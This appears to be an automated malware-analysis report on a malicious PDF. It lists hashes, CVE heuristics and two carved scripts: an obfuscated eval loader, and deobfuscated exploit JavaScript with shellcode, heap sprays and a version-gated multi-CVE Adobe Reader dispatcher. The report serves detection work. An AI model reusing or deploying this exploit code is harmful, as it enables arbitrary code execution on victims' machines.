Malicious PDF — malware analysis report

Static analysis result for SHA-256 ede366eee65c82fb…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 52567c1dfee79f27c6b845931c579aac SHA-1: d4be1c028c4fb6e7f8f0f06d9e863d22321cb091 SHA-256: ede366eee65c82fbfad957b4913bf94a07266479571e608dc29ad923fde59f98
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFD3 567 bytes
SHA-256: 75b5bdcbb37e3fc75ccf3156172690b31ee50b9679a73b3f2ac3a4d590ff272c
Preview script
First 1,000 lines of the extracted script
yyixs='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('nhsthn','ntrht')[v+'r'];
g = qwe();
t='le';
a=["e","a","n","b","w",'v','r'];
e=g[a[0]+a[5]+a[1]+('q',t[v+'r'](0,1))];
e('qpisr=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
s=qpisr[v+a[6]](10,4) + 'tr';
myvs=e('String.fro'+qpisr[s](1,9));
q=qpisr[qpisr[v+'r'](10,4) + 'tr'](14);
ilyhl = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=ilyhl.length');
for (i = 0; i < k; i+=2) {
	jwal = ilyhl[i+1] + ('erybjkerl',ilyhl[i]);
	yyixs += myvs(jwal);
}
e(yyixs);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3654 bytes
SHA-256: 1aaa2f0112643e3469d388047ad5e6bddb2ced388216a6fe5954ce7027f7b661
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3cb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u6e34%ue2aa%uc3fa%ue5e8%uffff%u87ff%u6f62%u6e6e%uef30%u3282%u6e6f%ue76e%ue389%u7e21%u01e3%u5f3a%u39b5%u3d3f%u3d3d%u3d3d%u3d3d%u3d3b%u063d%u6f6a%u6e6e%u383b%u063d%u0001%u6e6e%u1b06%u021c%u3a03%ue006%u6020%u8682%u6e26%u6e6e%u863e%u6e12%u6e6e%ube91%uaaed%u0666%u8121%u6b21%u863e%u6e02%u6e6e%ube91%uaeeb%u791b%u3a04%u9d37%u06c4%u901c%u78dd%u7386%u6e6e%u3e6e%u3f86%u6e6e%u916e%u3dbe%u9004%ue706%u6f01%u86d3%u6e66%u6e6e%u863e%u6e52%u6e6e%ube91%u5f0e%u0aae%u3ee5%ue55e%u623c%u3ce5%ue57a%u461c%u76d7%u6e6e%u5f6e%u5f91%uc2ae%u0f52%u6c12%u4e42%ua1af%u6f63%u8ca9%uef9e%u3591%u24d2%ue504%u7e2c%u7ce5%ub71b%u2ae7%u724a%uad0f%ue50e%u4a02%ue54a%u522b%u3ae5%u166b%u846f%u24e5%ue576%u4e34%u856f%u5a8d%ue527%ue55a%u806f%u915f%uae5f%uc292%uaeea%u691a%ua1af%u6f63%u85a9%u559a%u4a12%u1b46%ue58f%u4a34%u856f%ue508%u2562%u34e5%u6f72%ue585%ue56a%u866f%u2ae7%u724a%uac0f%u6e66%u8186%u9190%u0691%u1a1a%u541e%u4141%u0106%u1d1c%u090b%u0b1c%u000b%u0740%u0800%u4101%u400a%u061e%u511e%u5308%u595d%u0b48%u5b53%u006e';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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